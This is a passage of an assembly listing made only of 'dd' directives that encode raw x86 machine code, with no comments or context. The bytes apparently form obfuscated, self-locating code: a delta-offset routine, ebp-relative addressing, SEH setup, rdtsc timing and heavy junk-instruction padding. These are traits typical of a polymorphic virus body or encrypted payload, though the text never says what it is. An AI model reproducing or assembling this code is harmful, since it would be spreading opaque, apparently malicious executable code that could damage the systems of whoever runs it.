		dd 6A1A89h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 374E55C3h, 0AC3641FDh, 89784922h,	1210A5B5h
		dd 12E806h, 0C0850000h,	95EA474Bh, 0A6F5162Dh, 0DAD97C35h
		dd 0BA6C47ADh, 8C68166h, 42895E79h, 52006A04h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 89B757A4h
		dd 122C999Dh, 0A1958D06h, 6A061230h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0F2EC356h
		dd 1A89F9B7h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 19h,	40C35545h, 0FAD6127Dh, 0CDBD33F8h, 89061222h, 6A0442h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 653D94C3h, 0FF110954h, 840FEB2Bh, 2,	958DCF8Bh, 6122A35h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0F7C35242h
		dd 89B86660h, 2840F5Ch,	8B000000h, 1A8961D8h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0E3C35141h, 0C09DBA65h
		dd 0FEBF0FF3h, 23F99D89h, 42890612h, 6EB96604h,	5958D03h
		dd 6A061214h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 3047C351h, 0FCEE6635h,	0F601A89h
		dd 689h, 61958B00h, 6006121Dh, 11418529h, 7E90612h, 9C000000h
		dd 2A1BE2B0h, 616165FBh, 1044289h, 1200E98Dh, 59958D06h
		dd 0F9061219h, 1A89CE8Bh, 0FFAB70Fh, 68Dh, 0F9B58B00h
		dd 89061210h, 8D890442h, 61203A1h, 0E01958Dh, 6A0612h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 34E562C3h, 0FD125AC5h, 8549BFCEh, 1A8956F0h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 65C35040h, 89D9FC74h
		dd 6A0442h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 53A115C3h, 229D8D8Bh, 8D5F0612h, 12126595h
		dd 601A8906h, 319589FCh, 6106121Eh, 8B044289h, 122A89B5h
		dd 0F2E906h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0B70ECC3h, 202FF0AEh, 91BD8B97h
		dd 6A061222h, 0CE900h, 0A29E0000h, 55822F22h, 734AF6Dh
		dd 6ABBE4h, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 1Dh,	50C35343h, 94679A40h, 60143F7Ah, 89006A6Dh, 1205719Dh
		dd 0FD958906h, 6A06121Eh, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 51CBE21h, 896070C2h
		dd 12049995h, 86E28006h, 11952961h, 0FF06122Eh,	122F4995h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 81D4E3D2h, 9F71B3F1h, 6AC32Dh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0BF2345C3h
		dd 4E683DF1h, 8B66C58Ah, 6AC08BFEh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0EC85C352h
		dd 0BD83E1B1h, 6121B91h, 83097500h, 1217DDBDh, 19740006h
		dd 0C08B5350h, 438B8h, 95858900h, 8D061222h, 14AE769Dh
		dd 5BD3FF06h, 0DDBD8358h, 61217h, 53501774h, 438B8h, 95858900h
		dd 8D061222h, 14AB179Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0F46032Dh
		dd 6AF6B7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 214C18C3h, 0C744F902h, 9FE9818Bh,	8B0D6AEFh
		dd 1858DC0h, 6A06122Eh,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0E8D3C353h,	0D888EF81h
		dd 0E8903453h, 0Bh, 0A7BFFE1h, 7137297h, 8B0E7A1Dh, 50505FD8h
		dd 0BE9905Fh, 0D7000000h, 0B4792F7h, 0AAB65627h, 8D0181C7h
		dd 61205C1h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 1726C5C3h, 8E9h, 497BC00h
		dd 0CFB18B32h, 6A006A9Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 1290C353h, 9D03EBEBh
		dd 6120E25h, 4C72858Dh,	6A0616h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 874F59C3h, 0E9A354C7h
		dd 0Dh,	0E05D8267h, 9376E6EFh, 0C20CFC19h, 5C083ABh, 0EB80FB8Bh
		dd 0EE950E1h, 5000000h,	0EEBCCC33h, 2191F17Ah, 7019CF8Dh
		dd 2404893Eh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ah,	0CFC35545h, 0DCEF76AAh,	6A8FF6h, 0F46C30BBh, 6A006A03h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 4628C350h, 0DB595FFh, 6A0612h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 5B8BACC3h
		dd 9D95093Ah, 8D06121Dh, 15AF028Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0B11FD07h
		dd 0D1FF93F9h, 5C59D23h, 0BD830612h, 61207ADh, 0B5850F01h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 79D8C355h, 0EACB4E61h,	6A026A71h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0EE3C353h, 6A1327BEh, 0E9728CBAh,	0Ah, 0D4BA621Eh
		dd 0CBE2C026h, 5050196Eh, 2860F52h, 56000000h, 66310F5Fh
		dd 5A29A1BBh, 24048958h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 19h, 0F4C35242h, 28A8CDE1h, 999D89ABh, 0F061218h
		dd 38Ch, 0FE8B6600h, 6A595FFh, 8B0F0612h, 0Ch, 68D0Fh
		dd 9D890000h, 6121285h,	0E11E9h, 0E800h, 815D0000h, 164C7CEDh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 449EC102h, 0A7F19862h, 0BF66DA1Dh, 858D78ACh
		dd 6159437h, 1F719D29h,	0F900612h, 1F84h, 8B666000h, 14E8D6h
		dd 9AF70000h, 8188C184h, 76A44DBCh, 151B8331h, 0EAABBA23h
		dd 61596351h, 0FE950h, 0E2BF0000h, 0C64A4020h, 4256DBA8h
		dd 3E68A4CFh, 6A908Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0FADEE6C3h, 319D8B30h, 64061214h
		dd 35FFh, 1600000h, 12110D8Dh, 13E906h,	0FF740000h, 0A314A014h
		dd 1FF6EC19h, 0A60A48CCh, 0F0B2C51Ch, 89646143h, 25h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 7C6D101Bh, 128AFD1h,	120159B5h, 7985FF06h, 0E8061206h
		dd 5, 0D9F3C37Ah, 0F88B66A7h, 6AFF6A5Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 7EFCC351h
		dd 0D7ABEDAEh, 116DBD33h, 85890612h, 6122EF5h, 2BF1B5FFh
		dd 0E5B30612h, 2CB595FFh, 26E90612h, 0F9000001h, 953100B0h
		dd 61218D5h, 71E470E6h,	18998529h, 613C0612h, 10B830Fh
		dd 0D88A0000h, 60C8B60Fh, 585F5256h, 61FFBF0Fh,	6BAh, 0DABF0F00h
		dd 0B509C18Bh, 6121A11h, 8104E8C1h, 0BB3C91C3h,	0E2F76606h
		dd 2BFABF0Fh, 208C0FC8h, 0E8000000h, 14h, 0B1C06BCFh, 8F8D6116h
		dd 0A00D3B00h, 29C4F1D7h, 0D0F47D6h, 1E519D8Bh,	8B5B0612h
		dd 0F8BF0FD1h, 4E95B57h, 66000000h, 8B759BBBh, 121FAD85h
		dd 835B5006h, 0C08307C0h, 5E800h, 5D360000h, 8B539F8Ch
		dd 120E199Dh, 8B605B06h, 6148B2F1h, 830FD03Bh, 19h, 2CA1BD8Bh
		dd 6EE90612h, 53000000h, 30CD9589h, 815F0612h, 0DF307ACBh
		dd 498D8B46h, 8A061220h, 1E183DCh, 4F840Fh, 800F0000h
		dd 5, 1EA197BFh, 49A58364h, 0FE061220h,	75953360h, 61061230h
		dd 1FAD9589h, 890F0612h, 5, 0DBBF0F53h,	13E85Bh, 3800000h
		dd 56E5F46Bh, 3F6118E4h, 5F101DB5h, 0DAA4B1DEh,	0C185898Ah
		dd 5F061222h, 0E9h, 83B58D00h, 0E90615DEh, 0Ah,	6FAA2E12h
		dd 14C158D3h, 6A0F52h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 96C35040h, 11EAEB13h,	0CD95FF5Ah, 0B9061219h
		dd 749h, 6820Fh, 0BD890000h, 6120725h, 6AFCE183h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 6F30C353h, 896052FCh, 1201499Dh, 6160B406h, 0B85Fh
		dd 60F80000h, 5D958960h, 8B061209h, 1211D195h, 958B6106h
		dd 6121311h, 6AD22B61h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 9D89C353h, 89D8276Dh
		dd 120199BDh, 0ADFEB706h, 0E8D1C233h, 0E983D003h, 56F47504h
		dd 93A1BF51h, 5F5B7AB6h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 18h, 0DC35242h, 0A048B20Dh, 19159D89h, 880D0612h
		dd 0F000000h, 85h, 0A1958B00h, 6A061209h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 15BCC355h
		dd 8BFBBF0Fh, 1205058Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0C28B50DCh, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 0BF58188Bh, 49340BEh, 68E0Fh
		dd 8D890000h, 612129Dh,	2121BD83h, 0F000612h, 8484h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0CF818D87h, 620833FAh, 0B8h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 5D1E76BBh
		dd 898406A4h, 120255B5h, 0B58D8D06h, 6A06124Dh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 3DEC352h, 9A33AB29h,	47EB8166h, 1E1FF2Ch, 121D29B5h
		dd 0D9BD8306h, 6121Bh, 42B840Fh, 820F0000h, 8, 2830Fh
		dd 0DE8B0000h, 1BD9BD83h, 0F010612h, 42B84h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 39E2EEF4h, 66970992h, 839705BBh, 121BD9BDh, 860F0306h
		dd 3C2h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 14h,	6DC35242h, 6A98D89h, 6A600612h,	3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 7A7DC353h
		dd 5ABF666Eh, 0D98C669Ch, 0F129BB66h, 0F04E180h, 684h
		dd 0FD852900h, 0A06121Eh, 4B840FC9h, 6A000001h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 1B1DC351h, 8B69247Fh, 12308D85h, 3BEF8006h, 31658533h
		dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 0E50E98C3h, 0C459F0A8h, 8B07F551h, 0DF8166DEh
		dd 0E9501EE8h, 10h, 9EEB779Dh, 0EE6119CEh, 1C8ED385h, 9EC8F72Dh
		dd 8B240489h, 121F719Dh, 6A006A06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 6665C353h
		dd 37C6439Eh, 4E8h, 1F03FF00h, 0A8BF5100h, 5B386E50h, 24448B50h
		dd 0D98B6604h, 0D5BF008Bh, 89052EBDh, 58042444h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 1C35141h, 0B063842Ch
		dd 0FAB72723h, 218D9D03h, 95FF0612h, 6122379h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 1C35545h, 8589DF8Bh
		dd 615C812h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	6EC35747h, 5B9030BCh, 0B0E9D889h, 0F000001h, 989h
		dd 3860F00h, 0F000000h,	858BD9B7h, 615C80Ah, 75BD8960h
		dd 51061219h, 615E53B1h, 1800C7h, 0FB8B0000h, 0C80EB58Bh
		dd 0D98B0615h, 2AB9858Bh, 6A0612h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 1AD84DC3h, 6898590h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 7EC35343h
		dd 5D6F5473h, 28EF800Bh, 308D858Bh, 6A0612h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 8C7DA2C3h
		dd 0E99A04BFh, 0Eh, 3B8FCE5Ch, 5234BC52h, 515BF8EFh, 4689B042h
		dd 96FE8B04h, 0E4F8BF66h, 48C0F50h, 50000000h, 965B5F53h
		dd 21259D8Bh, 0B5FF0612h, 615C80Ah, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0D7C35040h,	44E66D82h, 0FF2256Ah
		dd 681h, 89BD0300h, 0E8061213h,	4, 1F03FFh, 0F525060h
		dd 60585A31h, 6E8h, 388FB500h, 5FE1502Eh, 50506161h, 0D98B6652h
		dd 8F0F310Fh, 18h, 13E9h, 2EDC8700h, 0E8BC068Ch, 0EB093ED9h
		dd 75EAA7F8h, 79DCA871h, 448B585Ah, 9E90424h, 2F000000h
		dd 75BBC9F4h, 3BCDF2D8h, 0D88B008Bh, 4244489h, 4080BF66h
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 12858DEBh, 8B0615C8h, 1209399Dh,	0BF665006h
		dd 4891C78h, 59BD8B24h,	0FF061203h, 12237995h, 0DD952906h
		dd 61061211h, 1561BD8Bh, 85C70612h, 6121BD9h, 3, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 1C35747h, 9992A929h
		dd 7DBF538Fh, 5F601A85h, 0C812BD83h, 0F000615h,	2D84h
		dd 6E900h, 876E0000h, 0FC3C1BBCh, 38E9h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 30508A55h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 9448E619h, 0E6EF8166h, 4D9D8BCBh
		dd 6A06122Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0E0A9C351h, 2781B57Bh,	0BD83BBBCh
		dd 6121BD9h, 8F850F03h,	6A000004h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0AD29C356h
		dd 95896894h, 61211D5h,	0C812BD83h, 0F000615h, 45D84h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0F8B9A9AEh, 249F0775h, 8D8B6089h, 6122625h
		dd 8E9h, 11CAD700h, 119BE1BAh, 0BF0F61F9h, 12B5FFD9h, 6A0615C8h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 328DC355h, 69D7809Ah, 0A995FFFCh,	6A06121Ah
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 6D5AC352h, 8BF4B3EEh, 15C806B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0A5ACD2Bh, 66570D50h, 9509CF38h, 6121309h, 193DBD89h
		dd 6C70612h, 10001h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0B8C35747h, 0A54313CEh, 962391E3h, 0A8A0Fh
		dd 60600000h, 8E0F61h, 61000000h, 969EB750h, 1761B529h
		dd 0B5FF0612h, 615C812h, 18718589h, 8D0F0612h, 11h, 0CE9h
		dd 15567400h, 0BCE37A70h, 99D02DD7h, 595FFFDh, 6A06121Ch
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 93B8C352h, 9DDE13DBh, 80EDDCDCh, 9D8B0EE3h
		dd 61218CDh, 6810Fh, 9D8B0000h,	61223B1h, 0C806B58Bh, 6A0615h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0FF5C78C3h, 1A5858Bh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 1C96D4C3h, 0E3A968D5h
		dd 89AAF380h, 0C486h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 9EF59E80h, 0A1EFF150h
		dd 68A0Fh, 8D010000h, 6122DD1h,	9A1958Bh, 6A0612h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0F9747FC3h, 0BF04C283h, 658CB872h, 6A205089h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 8E37C351h, 0A4DF258h, 2FA99D89h, 0F88B0612h,	0DC6F858Dh
		dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0A43C23C3h, 89FA8A87h, 1204C59Dh,	0B8868906h
		dd 0FC000000h, 6A006Ah,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 12E8F5C3h, 1B000000h, 8D3F294Fh
		dd 821A320Dh, 0DDB05D52h, 3E37F9A7h, 0CB8166DFh, 0FF5B338Ch
		dd 15C812B5h, 0E59D8B06h, 0FF061204h, 1206A595h, 49BD8906h
		dd 96061226h, 0FE8h, 8A9D1400h,	35C57108h, 0C85101D9h
		dd 1BEF4B28h, 14E9h, 0D3B0000h,	0C4F1D7A0h, 0F47D629h
		dd 0FF502C0Dh, 0D1D69BD0h, 50505B61h, 2860F52h,	53000000h
		dd 0BF310F5Fh, 2EB738E6h, 396585Ah, 121FF19Dh, 0EE806h
		dd 2FD40000h, 0EFB0DFC4h, 3FFC7236h, 2FF19066h,	159BD2Bh
		dd 0FF5F0612h, 15C812B5h, 6BF78106h, 0FF056EBDh, 12028195h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0A464B4F5h, 11E92Fh, 6BDD0000h, 560EAB3Eh
		dd 5A68503Fh, 0D25DD467h, 83018A8Ch, 122A09BDh,	840F0006h
		dd 10h,	6EDF8166h, 0BF5096A9h, 1B3858FEh, 0DA8B6696h, 0C812B5FFh
		dd 0B70F0615h, 0D18D01F8h, 0FF061207h, 1218C195h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 4B88BB06h, 0C812B5FFh, 11E80615h, 0CF000000h, 0FEBAACAEh
		dd 0CD804892h, 0C065C51h, 49C127CCh, 5E8h, 56BDED00h, 9D8942ACh
		dd 6121971h, 95FF5F5Bh,	6121BA1h, 9E8h,	0B6D77F00h, 0E7B40E39h
		dd 835FF3CFh, 121EB1BDh, 840F0206h, 31h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 18h, 28C35040h, 820C3CCBh
		dd 3A5858Bh, 0DCB30612h, 8B0000C6h, 1216099Dh, 5985C706h
		dd 6121Bh, 89000000h, 121DB985h, 0D3816606h, 36E9E5CEh
		dd 6AFFFFF3h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0E950C352h, 6,	6503D21h
		dd 0BD3321B8h, 612107Dh, 16DBD89h, 0C18B0612h, 22AD9D33h
		dd 858D0612h, 6122E01h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0C7C35141h, 4DEBDC32h, 0A93F2569h, 18CF80D8h
		dd 24048950h, 179AE0BBh, 6AE7B362h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 750089B3h
		dd 6A006A1Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0EF62C355h, 3BC4F88h, 7EB79247h
		dd 1FDD9D8Bh, 858D0612h, 6165C65h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 60C35141h, 0B70F3933h, 5C083FBh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0E1C35646h
		dd 97B143BFh, 0B296F2A3h, 5319D8Bh, 9D890612h, 6121DB9h
		dd 0FE950h, 7E580000h, 74322FD2h, 0FA768FD3h, 140ED998h
		dd 240489E1h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Bh,	0B3C35242h, 0D1EA2B20h,	33A44CADh, 1212859Dh, 8B006A06h
		dd 122C39BDh, 0E8006A06h, 9, 67125478h,	0DB67E79Ch, 9456BF77h
		dd 0FF5F2D38h, 120DB595h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 2101497Dh
		dd 0BD09359Dh, 61205A5h, 0AF028D8Dh, 880F0615h,	6, 0A5EFF381h
		dd 0D1FF7EACh, 10E960h,	0B09A0000h, 5F867350h, 93F87734h
		dd 5655451Bh, 0BF66F2D4h, 8361422Ah, 1207ADBDh,	850F0106h
		dd 33h,	1DE5BD33h, 26A0612h, 0AE990F9h,	0E0000000h, 0E7971527h
		dd 0E3315638h, 8B6050BDh, 0A186BEF8h, 906119F5h, 0FFDFBF0Fh
		dd 1206A595h, 4DBD8B06h, 0E906120Eh, 0CB5h, 0E8h, 0ED815D00h
		dd 6165C6Fh, 2DC1BD8Bh,	6A0612h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 2AC205C3h, 0F88B315Ch
		dd 9437858Dh, 66570615h, 905BF98Bh, 14E8h, 50544600h, 64032B17h
		dd 14408AC5h, 0B2B5F03h, 0ED1F5D1Bh, 5B5F5092h,	830F6050h
		dd 2, 90616160h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Ch,	0EAC35141h, 0B6B3799Ah,	0A55DF92Dh, 3759589h, 0FF640612h
		dd 35h,	0DEB70F00h, 258964h, 51000000h,	0CE8h, 8BD7BA00h
		dd 5A04FFE4h, 0DA047F3Bh, 0A59D8B6Ah, 5F06120Eh, 7985FF5Bh
		dd 6A061206h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0B997C356h, 0BC5C72Eh,	0CACB6EADh
		dd 0EF81FF6Ah, 251C298Dh, 1D2DB5FFh, 6A0612h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 4F0E42C3h
		dd 2FD68162h, 0E9B068F6h, 6, 0E18CDF30h, 0FE8B17F5h, 2CB595FFh
		dd 6E90612h, 60000001h,	8758D8Bh, 0BD8B0612h, 6122D59h
		dd 8000B061h, 70E6D5F3h, 69B58951h, 5F061228h, 0FE971E4h
		dd 68000000h, 0D49063A4h, 0C5AB4B84h, 96799797h, 613CE7AFh
		dd 0CB830Fh, 8B660000h,	0C8B60FF9h, 6BAh, 7820F00h, 60000000h
		dd 0BF0F4EB5h, 0C18B61CAh, 0C1FA8B66h, 8D8904E8h, 6122925h
		dd 0F766D88Bh, 6BB66E2h, 0D1858952h, 2B06122Dh,	8E8C8h
		dd 0FBA60000h, 0AF920F1h, 870FCB3Dh, 0
		dd 89D18B5Fh, 121A4D9Dh, 5E906h, 0AFBF0000h, 8B6299B7h
		dd 1200F985h, 2D852906h, 83061211h, 0C08307C0h,	0F3816600h
		dd 0D03B85A7h, 0E830Fh,	0BD310000h, 6123075h, 44E9h, 0DE8B6600h
		dd 22B18D8Bh, 9D8B0612h, 61200F5h, 83F98B66h, 840F01E1h
		dd 29h,	68A0Fh,	95290000h, 6122079h, 22B1A583h,	2BFE0612h
		dd 1212DDBDh, 0F9958906h, 66061200h, 0F1D3DF81h, 0E9h
		dd 0C7B58D00h, 0F0615E7h, 581h,	0CB816600h, 6A9A9Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0ACC35747h, 8B4E7A5Dh
		dd 120E759Dh, 0CD95FF06h, 6A061219h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 548DC353h
		dd 296ACE91h, 123505B5h, 0EF0B906h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0DC12D3C3h
		dd 12E9CBh, 48A80000h, 0E22E1A16h, 0B38B64F9h, 93BABB48h
		dd 0DE9B58DDh, 0E9FCE183h, 0Fh,	6BAA491h, 0B4899F42h, 0E15118h
		dd 0FC06665Dh, 0B8h, 88B0F00h, 51000000h, 1A918509h, 2B5B0612h
		dd 0E9BD89D2h, 0AD06122Dh, 0E8D1C233h, 0E983D003h, 2BF47504h
		dd 121C0D9Dh, 6E806h, 24760000h, 0F66F47F6h, 5BDE8B66h
		dd 880Dh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 10E85113h, 0C1000000h, 0DF687BD5h
		dd 155A86B4h, 99CCFECCh, 5BE40471h, 0A1958B5Fh,	8B061209h
		dd 1205058Dh, 50D98A06h, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 81D78058h, 1105B589h, 6A0612h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 5F0314C3h
		dd 5D1B0B2Bh, 6B64A4BFh, 0DEB6BB31h, 0BD833A5Bh, 6122121h
		dd 68840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 932FC353h, 27D585E0h
		dd 19259589h, 0B80612h,	29000000h, 1210CDB5h, 0F98B6606h
		dd 4DB58D8Dh, 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 76A2AAC3h, 35551A77h, 0FF93FD69h
		dd 21BD23E1h, 83061213h, 121BD9BDh, 840F0006h, 3C7h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 6DC35545h, 566077A0h
		dd 8B5FC28Bh, 122D2D95h, 0BD836106h, 6121BD9h, 0AB840F01h
		dd 8B000003h, 122FF9BDh, 0D9BD8306h, 306121Bh, 362860Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0BB6DA9C3h, 0DEA6ECA9h, 880F6A3Ah, 0Dh, 8E9h
		dd 0D40C8E00h, 0DE54D4A0h, 6A6098h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0C29041C3h
		dd 66081207h, 8C66FB8Bh, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 46E4A40Bh, 80147A63h
		dd 0B58904E1h, 612091Dh, 840FC90Ah, 0F3h, 308D858Bh, 0DE8A0612h
		dd 31658533h, 0C3800612h, 0FA8B906Eh, 52506050h, 4BB2310Fh
		dd 8B66585Ah, 6A9061FAh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0C178C357h,	800F50B4h
		dd 0Eh,	85958960h, 1061202h, 120D39B5h,	6A6106h, 176D9D8Bh
		dd 0AD680612h, 0E8DFEBCAh, 10h,	8AF75F3Fh, 400AEA1Ah, 9B63DD94h
		dd 238AE67Bh, 6870Fh, 810F0000h, 0
		dd 2404815Bh, 20333952h, 961BD8Bh, 95FF0612h, 6122379h
		dd 26599D03h, 0EF810612h, 77EC0F08h, 0C8128589h, 6A0615h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 5131CBC3h, 1BFE95Bh,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0FB7DCBC3h, 6DBD8B26h
		dd 8B061209h, 15C80A85h, 0C7FC06h, 18h,	0E850006Ah, 3
